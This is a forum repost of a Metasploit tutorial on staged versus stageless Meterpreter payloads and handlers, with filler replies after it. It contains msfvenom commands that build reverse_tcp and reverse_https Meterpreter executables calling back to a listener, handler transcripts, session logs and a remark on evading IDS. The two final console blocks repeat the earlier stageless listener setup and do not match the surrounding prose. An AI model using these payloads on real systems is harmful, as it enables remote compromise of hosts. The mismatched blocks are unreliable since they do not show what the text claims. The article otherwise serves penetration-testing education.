技术控

    今日:122| 主题:49289
收藏本版 (1)
最新软件应用技术尽在掌握

[其他] Staged vs Stageless Handlers

[复制链接]
此生赐情 发表于 2016-10-5 19:38:35
283 13

立即注册CoLaBug.com会员,免费获得投稿人的专业资料,享用更多功能,玩转个人品牌!

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
Metasploit comes with a variety of payloads, as we all know. Those payloads come in a few different types, and vary depending on platform. Of those types, there are two major “categories” available with a key difference that is often not understood. They are    stagedand    stagelesspayloads.  
  The purpose of this post is to talk about the differences between these two, particularly in the context of Meterpreter and the Metasploit handlers. I’ll also cover off what happens with TCP payloads/handlers, so that it’s clear how it works and what you can do to avoid a common pitfall and reduce noise on the wire.
  Let’s dive in.
  Staged payloads

  The classic staged payload in Metasploit is    windows/meterpreter/reverse_tcp, it’s probably fair to assume that everyone who is reading this has used this payload in the past. When using    msfvenomwith    windows/meterpreter/reverse_tcpthe binary that is generated contains something called a    stager. In this case, the stager is a minimal amount of code that does the following:  
  
       
  • Establishes an active TCP connection back to Metasploit on a given address and port.   
  • Reads 4 bytes from Metasploit, which indicates the size of the payload.   
  • Allocates a block of memory that is      RWX(readable, writable and executable) of a sufficient size.   
  • Reads the rest of the payload from the wire, and writes it to the allocated block of memory.   
  • When finished, control is passed directly to the start of the payload so that it can execute, which in this case involves the running of a patched DLL header that does the following:
              
    • Loads itself (ie.          metsrv) into memory correctly using          Reflective DLL Injection.        
    • Calculates the offset to the configuration block.        
    • Patches the configuration block so that it contains the current open socket handle that is being used to talk to Metasploit.        
    • Executes          dllmain()in the newly loaded          metsrv, passing in a pointer to the configuration block so that          metsrvcan take control of the communication.      
            
  • With      metsrvrunning, more magic happens:
              
    • SSL is negotiated on the socket so that communications from this point are all encrypted.        
    • TLV packet communication can then commence with Metasploit.      
          
  You’ll notice that the stager is quite dumb and blind, and makes a bunch of assumptions around what it’s connecting to. This is deliberate because adding any other smarts or complexity increase the size of the stager. As we all know, stager size is an issue in the case of certain exploits. If the stager is too big, then we can’t squeeze it into the small shellcode space that’s available in certain exploitation contexts (the classic    MS08-067bug is a great example of this).  
  As a result of these assumptions, Metasploit also has to assume that the inbound connection is staged, and send the correct bytes in order when a new connection comes in. This means that the handler will, in unison with the stager, do the following:
  
       
  • Listen on a given address:port.   
  • Receive a new connection.   
  • Generate a payload (in this case it’s the first stage of Meterpreter, and comes in the form of a dynamically patched      metsrvDLL followed by a configuration block).   
  • Send a 4-byte block that represents the size of the incoming payload.   
  • Send the payload to the target (this is where you’ll see      Sending stage (XXX bytes) to YYY).   
  • Wait for the payload to be executed and for the host to reach back out to Metasploit, then continue on with establishing a valid Meterpreter session, which involves:
              
    • Negotiating SSL on the existing socket.        
    • Querying for basic system information.        
    • Asking the target which Meterpreter commands it currently supports (which allows for checks to see which extensions are loaded).        
    • Loading          stdapiif it isn’t present.        
    • Loading          privif it isn’t present.        
    • Doing some other local accounting to track the new session.      
          
  So the process here is rather involved, but thankfully completely opaque to the user who shouldn’t have to care. The important thing is that, at this point, we have a valid Meterpreter session running on the target.
  Stageless payloads

  Stageless payloads still seem to be relatively unknown by most Metasploit users, partly because they aren’t talked about much, partly because of documentation, and partly because they’re easily hidden. The staged equivalent of the above staged payload (    windows/meterpreter/reverse_tcp) is    windows/meterpreter_reverse_tcp. Note the use of    _instead of the second    /in the payload name. The key differences here are:  
  
       
  • There is no “dumb” stager required.   
  • The payload includes “all that is required to get a session running”, which in this case is a copy of the      metsrvDLL.   
  • Given that      metsrvis baked in, it is able to establish communications straight up, with SSL encryption on the socket.  
  The big ticket item here is that no communications are made without encryption. This means that any IDS applications running do not see a raw PE file (ie.    metsrv) go over the wire during the staging process, and hence it is more likely to not get caught. However, given that    metsrvis baked into the original payload, it won’t come as a surprise that the payload is substantially larger.  
  So to recap, when a stageless payload is fired, the following happens:
  
       
  •       metsrvis invoked immediately with a pointer to the configuration block that was baked into the payload.   
  • Any extensions that were added at payload generation time (via the      EXTENSIONSparameter) are loaded in, again using      Reflective DLL Injection.   
  • The configuration block doesn’t include an active socket handle, and so      metsrvlooks at the configuration to determine where it should connect to.   
  • It creates a new TCP connection and calls Metasploit on the given address:port.   
  • The socket is      immediatelywrapped in SSL.   
  • It is then able to talk via TLV packets with Metasploit over an encrypted transport to finish setting up the session.  
  On the Metasploit side, things are a little different as well:
  
       
  • The handler creates a listener using the same mechanism as with staged.   
  • When a new connection comes in, it is assumed that the target is stageless, and hence payload generation does not occur. This means that the 4-byte size and the payload itself are not sent at all.   
  • It is assumed that the connection is able to talk SSL, and so the SSL handshake starts immediately.   
  • The rest of the session initialisation stuff happens as per the staged session.  
  There are couple of small but very important differences here. Note that you won’t see the    Sending stage (XXX bytes) to YYYmessage appear, because it doesn’t actually happen!  
  Connecting staged payloads to stageless handlers

  Doing this is a bad idea. If a staged payload connects to a stageless handler, it will expect to receive a 4-byte size block followed by the payload before it can do anything else. This clearly won’t happen because the handler is not configured to send either of these things. Needless to say, you won’t get a session. Instead, you’ll get a sad.
  Connecting stageless payloads to staged handlers

  This scenario isn’t as crazy as it sounds, especially given that Meterpreter now has the ability to reconnect to Metasploit when:
  
       
  • Network communication is broken.   
  • The user puts the session to sleep.   
  • The user switches transports.  
  More on this later. For now, the important thing to note is that Meterpreter does actually make an attempt to handle the case where it establishes a connection to a staged handler. When a new connection is established to Metasploit, Meterpreter flushes the socket of any data that’s on it before the SSL negotiation happens. This means that the 4-byte size block and payload are effectively thrown away.
  While this is handy, bear in mind that Metasploit    still sends the stage. The magic of avoiding raw PE files heading over the wire is immediately lost if you connect stageless Meterpreter to a staged listener. You also make more noise as you’re sending a large payload that doesn’t need to be sent.  
  Don’t do this if you can avoid it.
  A known issue

  Currently we have an issue with staged listeners and stageless payloads that rears its ugly head quite often. When the connection is established, Metasploit can spit an error out that looks something like this:
  1. OpenSSL::SSL::SSLError SSL_accept returned=1 errno=0 state=unknown state: tlsv1 alert protocol version
复制代码
If you see this appear, it’s safe to say that the session is effectively dead. Chances are that you won’t see this session come back at all. The development team are aware of this and are currently looking into why this is happening. I’m sorry to say that we don’t have a solution at this point in time, but I am confident we’ll get to the bottom of it at some point soon. We have the might of    Brent Cookon hand, and this man is a machine. I’m sure it’s just a matter of time.  
  Session reconnection

  As I’ve already mentioned, sessions are able to reconnect magically thanks to some changes that were put into Meterpreter last year. This can happen when:
  
       
  • Network issues prevent communication from working.   
  • The user switches to a new transport.   
  • The user puts the session to sleep (using the rather unintuitively named      sleepcommand), and the session then wakes up.  
  In each case, Meterpreter will connect back to Metasploit on the transport that is considered active (I won’t go into transport stuff in this post, it’s already big enough). In our current scenario, there is just one transport and that’s the one the payload was created with.
  In the case of stageless payloads, the behaviour is exactly the same as when the session first kicks off. It connects to the stageless listener and things go swimmingly.
  However, in the case of staged payloads, we are now in the situation where the staged listener receives a connection from what is now effectively a stageless connection because Meterpreter is already running and set up. We end up sending the 4-byte block and the first stage down the wire again. As mentioned before, this can be OK if Meterpreter successfully skips the payload during the socket flush, but as we’re seeing more and more, the dreaded OpenSSL error is rearing its ugly head and causing things to die.
  I’d like to state for the record that even if reconnection did function without failure in this situation, it’s still better to have configuration set up so that you never end up pointing stageless payloads at staged handlers. So with that in mind, let’s look at how we do that, as this will also work around the issue that we’re seeing at the same time.
  A TCP reconnection workaround

  Last year, the notion of a    configuration blockwas added to Metasploit and Meterpreter. This configuration block (documented on the    wiki), contains a bunch of stuff including transport configuration details. When a staged payload fires, the generated payload contains the configuration block that matches the configuration of the handler.  
  Therefore, in the case of TCP, it contains both the    LHOSTand    LPORTsettings that are    currently active in the handler. These settings are    not necessarily the sameas the    LHOSTand    LPORTsettings that were used when the staged payload was generated using    msfvenom.  
  This means that, during the staging process, we have the ability to give a different configuration to Meterpreter than we gave the stager during payload generation time. There’s a window of opportunity here! Instead of passing in the same configuration as the current staged listener, we can instead pass in transport details that point to the    stagelessversion. This means the current transport configuration would point to the stageless listener even though the active socket is talking to the staged listener.  
  When communication drops for any of the above reasons, Meterpreter will look at this transport configuration when it attempts to reconnect, and thus will direct itself at the    stagelesslistener instead. Glorious! So how do we do this? It’s very simple.  
  We begin by creating a stageless listener:
  1. msf exploit(handler) > set payload windows/meterpreter_reverse_tcp
  2. payload => windows/meterpreter_reverse_tcp
  3. msf exploit(handler) > set LHOST 10.1.10.35
  4. LHOST => 10.1.10.35
  5. msf exploit(handler) > set LPORT 8000
  6. LPORT => 8000
  7. msf exploit(handler) > set ExitOnSession false
  8. ExitOnSession => false
  9. msf exploit(handler) > options
  10. Module options (exploit/multi/handler):
  11.    Name  Current Setting  Required  Description
  12.    ----  ---------------  --------  -----------
  13. Payload options (windows/meterpreter_reverse_tcp):
  14.    Name        Current Setting  Required  Description
  15.    ----        ---------------  --------  -----------
  16.    EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  17.    EXTENSIONS                   no        Comma-separate list of extensions to load
  18.    EXTINIT                      no        Initialization strings for extensions
  19.    LHOST       10.1.10.35       yes       The listen address
  20.    LPORT       8000             yes       The listen port
  21. Exploit target:
  22.    Id  Name
  23.    --  ----
  24.    0   Wildcard Target
  25. msf exploit(handler) > run -j
  26. [*] Exploit running as background job.
  27. [*] [2016.10.05-12:25:23] Started reverse TCP handler on 10.1.10.35:8000
  28. msf exploit(handler) >
  29. [*] [2016.10.05-12:25:23] Starting the payload handler...
复制代码
When we generate a matching payload for this listener we can use the following:
  1. $ msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.1.10.35 LPORT=8000 -f exe -o /tmp/stageless8000.exe
复制代码
Next we create a staged listener, but we do the following:
  
       
  • We leave      LPORTset to      8000, because this is what we want the transport configuration to contain.   
  • We set      ReverseListenerBindPortto something different (      9000in our example), as this forces the listener to bind to another port, which we will point our staged payload at.  
  1. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  2. payload => windows/meterpreter/reverse_tcp
  3. msf exploit(handler) > set ReverseListenerBindPort 9000
  4. ReverseListenerBindPort => 9000
  5. msf exploit(handler) > options
  6. Module options (exploit/multi/handler):
  7.    Name  Current Setting  Required  Description
  8.    ----  ---------------  --------  -----------
  9. Payload options (windows/meterpreter/reverse_tcp):
  10.    Name      Current Setting  Required  Description
  11.    ----      ---------------  --------  -----------
  12.    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  13.    LHOST     10.1.10.35       yes       The listen address
  14.    LPORT     8000             yes       The listen port
  15. Exploit target:
  16.    Id  Name
  17.    --  ----
  18.    0   Wildcard Target
  19. msf exploit(handler) > run -j
  20. [*] Exploit running as background job.
  21. [*] [2016.10.05-12:29:48] Started reverse TCP handler on 10.1.10.35:9000
  22. msf exploit(handler) >
  23. [*] [2016.10.05-12:29:48] Starting the payload handler...
复制代码
This time, when we create a payload for this listener, we use the    ReverseListenerBindPortvalue for    LPORT:  
  1. $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.10.35 LPORT=9000 -f exe -o /tmp/staged9000.exe
复制代码
To recap, we now have:
  
       
  • A staged payload that will connect to Metasploit on port      9000.   
  • A staged listener listening on port      9000, but configured to generate a payload that contains a configuration block that references port      8000instead.  
  When the staged payload runs, it will connect to Metasploit on port    9000. If the session needs to    reconnectfor any reason, Meterpreter will be responsible for that reconnection. Therefore, the configuration block will be referenced instead of the stager configuration, and it will use port    8000where the stageless listener is active. Here’s an example:  
  1. msf exploit(handler) >
  2. [*] [2016.10.05-12:34:27] Sending stage (957999 bytes) to 10.1.10.44
  3. [*] Meterpreter session 1 opened (10.1.10.35:9000 -> 10.1.10.44:49282) at 2016-10-05 12:34:29 +1000
  4. msf exploit(handler) > sessions
  5. Active sessions
  6. ===============
  7.   Id  Type                   Information                           Connection
  8.   --  ----                   -----------                           ----------
  9.   1   meterpreter x86/win32  WIN-7CH5RT177BA\oj @ WIN-7CH5RT177BA  10.1.10.35:9000 -> 10.1.10.44:49282 (10.1.10.44)
复制代码
Note the    Sending stagemessage, and that we have the active connection on port    9000. We can then put the session to sleep, and watch it come back on    8000:  
  1. meterpreter > sleep 5
  2. [*] Telling the target instance to sleep for 5 seconds ...
  3. [+] Target instance has gone to sleep, terminating current session.
  4. [*] 10.1.10.44 - Meterpreter session 1 closed.  Reason: User exit
  5. msf exploit(handler) >
  6. [*] Meterpreter session 2 opened (10.1.10.35:8000 -> 10.1.10.44:49283) at 2016-10-05 12:35:55 +1000
  7. msf exploit(handler) > sessions
  8. Active sessions
  9. ===============
  10.   Id  Type                   Information                           Connection
  11.   --  ----                   -----------                           ----------
  12.   2   meterpreter x86/win32  WIN-7CH5RT177BA\oj @ WIN-7CH5RT177BA  10.1.10.35:8000 -> 10.1.10.44:49283 (10.1.10.44)
复制代码
You’ll see that the connection came back on port    8000, and we didn’t see the    Sending stagemessage!  
  Win.
  What about HTTP/S?

  Thankfully, the case with HTTP/S is very different. The HTTP/S handler has code in it that is able to determine if an incoming session is staged or stageless simply by looking at the incoming URI. The URI contains encoded information that the handler is able to parse, and hence can perform different functions depending on the content.
  This means that regardless of how you generated your payload, you can always use the staged    reverse_http/shandler and it will    Just Work ™. Here’s an example:  
  1. msf exploit(handler) > set payload windows/meterpreter/reverse_https
  2. payload => windows/meterpreter/reverse_https
  3. msf exploit(handler) > set LPORT 7000
  4. LPORT => 7000
  5. msf exploit(handler) > unset ReverseListenerBindPort
  6. Unsetting ReverseListenerBindPort...
  7. msf exploit(handler) > options
  8. Module options (exploit/multi/handler):
  9.    Name  Current Setting  Required  Description
  10.    ----  ---------------  --------  -----------
  11. Payload options (windows/meterpreter/reverse_https):
  12.    Name      Current Setting  Required  Description
  13.    ----      ---------------  --------  -----------
  14.    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  15.    LHOST     10.1.10.35       yes       The local listener hostname
  16.    LPORT     7000             yes       The local listener port
  17.    LURI                       no        The HTTP Path
  18. Exploit target:
  19.    Id  Name
  20.    --  ----
  21.    0   Wildcard Target
  22. msf exploit(handler) > run -j
  23. [*] Exploit running as background job.
  24. [*] [2016.10.05-12:41:37] Started HTTPS reverse handler on https://10.1.10.35:7000
  25. msf exploit(handler) >
  26. [*] [2016.10.05-12:41:37] Starting the payload handler...
复制代码
With the listener set up, we can create both staged and stageless payloads that point to the same port:
  1. $ msfvenom -p windows/meterpreter/reverse_https LHOST=10.1.10.35 LPORT=7000 -f exe -o /tmp/staged7000.exe
  2. $ msfvenom -p windows/meterpreter_reverse_https LHOST=10.1.10.35 LPORT=7000 -f exe -o /tmp/stageless7000.exe
复制代码
When we run stageless, it gets picked up appropriately:
  1. [*] [2016.10.05-12:43:55] https://10.1.10.35:7000 handling request from 10.1.10.44; (UUID: 6ivojknu) Redirecting stageless connection from /oDrA4oxsqwxAWEFZF6wogQ1JE465jU9x7b8re with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
  2. [*] [2016.10.05-12:43:55] https://10.1.10.35:7000 handling request from 10.1.10.44; (UUID: 6ivojknu) Attaching orphaned/stageless session...
  3. [*] Meterpreter session 3 opened (10.1.10.35:7000 -> 10.1.10.44:49285) at 2016-10-05 12:43:55 +1000
  4. msf exploit(handler) > sessions
  5. Active sessions
  6. ===============
  7.   Id  Type                   Information                           Connection
  8.   --  ----                   -----------                           ----------
  9.   2   meterpreter x86/win32  WIN-7CH5RT177BA\oj @ WIN-7CH5RT177BA  10.1.10.35:8000 -> 10.1.10.44:49283 (10.1.10.44)
  10.   3   meterpreter x86/win32  WIN-7CH5RT177BA\oj @ WIN-7CH5RT177BA  10.1.10.35:7000 -> 10.1.10.44:49285 (10.1.10.44)
复制代码
Again, note that there’s no indication that a payload is being staged, instead we see that Metasploit has recognised the stageless payload. Here’s what it looks like when we run staged payloads:
  1. msf exploit(handler) > set payload windows/meterpreter_reverse_tcp
  2. payload => windows/meterpreter_reverse_tcp
  3. msf exploit(handler) > set LHOST 10.1.10.35
  4. LHOST => 10.1.10.35
  5. msf exploit(handler) > set LPORT 8000
  6. LPORT => 8000
  7. msf exploit(handler) > set ExitOnSession false
  8. ExitOnSession => false
  9. msf exploit(handler) > options
  10. Module options (exploit/multi/handler):
  11.    Name  Current Setting  Required  Description
  12.    ----  ---------------  --------  -----------
  13. Payload options (windows/meterpreter_reverse_tcp):
  14.    Name        Current Setting  Required  Description
  15.    ----        ---------------  --------  -----------
  16.    EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  17.    EXTENSIONS                   no        Comma-separate list of extensions to load
  18.    EXTINIT                      no        Initialization strings for extensions
  19.    LHOST       10.1.10.35       yes       The listen address
  20.    LPORT       8000             yes       The listen port
  21. Exploit target:
  22.    Id  Name
  23.    --  ----
  24.    0   Wildcard Target
  25. msf exploit(handler) > run -j
  26. [*] Exploit running as background job.
  27. [*] [2016.10.05-12:25:23] Started reverse TCP handler on 10.1.10.35:8000
  28. msf exploit(handler) >
  29. [*] [2016.10.05-12:25:23] Starting the payload handler...0
复制代码
This payload requires staging, and Metasploit recognises it and sends the stage appropriately. We have both the staged and stageless sessions appearing on port    7000. Finally, when we put the staged session to sleep, we should see that it knows how to handle this case as well:  
  1. msf exploit(handler) > set payload windows/meterpreter_reverse_tcp
  2. payload => windows/meterpreter_reverse_tcp
  3. msf exploit(handler) > set LHOST 10.1.10.35
  4. LHOST => 10.1.10.35
  5. msf exploit(handler) > set LPORT 8000
  6. LPORT => 8000
  7. msf exploit(handler) > set ExitOnSession false
  8. ExitOnSession => false
  9. msf exploit(handler) > options
  10. Module options (exploit/multi/handler):
  11.    Name  Current Setting  Required  Description
  12.    ----  ---------------  --------  -----------
  13. Payload options (windows/meterpreter_reverse_tcp):
  14.    Name        Current Setting  Required  Description
  15.    ----        ---------------  --------  -----------
  16.    EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  17.    EXTENSIONS                   no        Comma-separate list of extensions to load
  18.    EXTINIT                      no        Initialization strings for extensions
  19.    LHOST       10.1.10.35       yes       The listen address
  20.    LPORT       8000             yes       The listen port
  21. Exploit target:
  22.    Id  Name
  23.    --  ----
  24.    0   Wildcard Target
  25. msf exploit(handler) > run -j
  26. [*] Exploit running as background job.
  27. [*] [2016.10.05-12:25:23] Started reverse TCP handler on 10.1.10.35:8000
  28. msf exploit(handler) >
  29. [*] [2016.10.05-12:25:23] Starting the payload handler...1
复制代码
The session comes back and Metasploit knows it’s not a new stageless payload (so no stageless redirect happens), but determines that it’s an active orphaned session.
  A cross-architecture migration issue

  Unfortunately there is still a case where things can break, and it’s all thanks to migration. When migrating, we know that we can cross architectures. That is, we can migrate from an x86 process to an x64 process, and vice versa. Once migrated, the running architecture of the session changes as well,    but the active transport is not aware of the change. As a result if the session has to reconnect for any reason, we end up in a world of hurt.  
  This pain is caused by the fact that Metasploit isn’t currently validating the architecture of a session when it connects back on stageless listeners. Instead, it is assumed. This means that Metasploit might think that a session is still x86 when in fact it’s x64. We don’t have a fix for this issue at the moment, so the best thing to do in the short term is have another listener set up that can handle another architecture, and then add a new transport once the session has been migrated.
  We’re actively working on solving this, so please sit tight.
  Thanks for reading. Please feel free to leave feedback in the comments.
友荐云推荐




上一篇:View 的工作原理下 View 的 layout 和 draw 过程 (Android 开发艺术探索读书笔记) ...
下一篇:Modern Swift Networking with Swish
酷辣虫提示酷辣虫禁止发表任何与中华人民共和国法律有抵触的内容!所有内容由用户发布,并不代表酷辣虫的观点,酷辣虫无法对用户发布内容真实性提供任何的保证,请自行验证并承担风险与后果。如您有版权、违规等问题,请通过"联系我们"或"违规举报"告知我们处理。

心疼你伤很深 发表于 2016-10-10 17:41:13
任性的心疼你伤很深飞过
回复 支持 反对

使用道具 举报

不尽长江 发表于 2016-10-14 06:26:38
收藏了,以后可能会用到!
回复 支持 反对

使用道具 举报

集成环保灶 发表于 2016-10-20 10:00:50
生前何必久睡,死后自会长眠……
回复 支持 反对

使用道具 举报

顺心顺意 发表于 2016-10-20 18:24:49
你瞧你吧!看背影急煞千军万马,转过头吓退百万雄狮。
回复 支持 反对

使用道具 举报

久居深海蓝透人心 发表于 2016-10-25 18:16:56
鼎力支持!!
回复 支持 反对

使用道具 举报

∝散一场暖阳 发表于 2016-10-25 21:06:28
给此生赐情一个赞
回复 支持 反对

使用道具 举报

你唇毁她纯 发表于 2016-11-13 04:34:07
此生赐情好聪明啊!
回复 支持 反对

使用道具 举报

恨玉 发表于 2016-11-13 08:38:00
顶一个!
回复 支持 反对

使用道具 举报

jgzc 发表于 2016-11-13 15:14:51
回个帖子,下班咯~
回复 支持 反对

使用道具 举报

*滑动验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

我要投稿

推荐阅读

扫码访问 @iTTTTT瑞翔 的微博
回页顶回复上一篇下一篇回列表手机版
手机版/CoLaBug.com ( 粤ICP备05003221号 | 文网文[2010]257号 )|网站地图 酷辣虫

© 2001-2016 Comsenz Inc. Design: Dean. DiscuzFans.

返回顶部 返回列表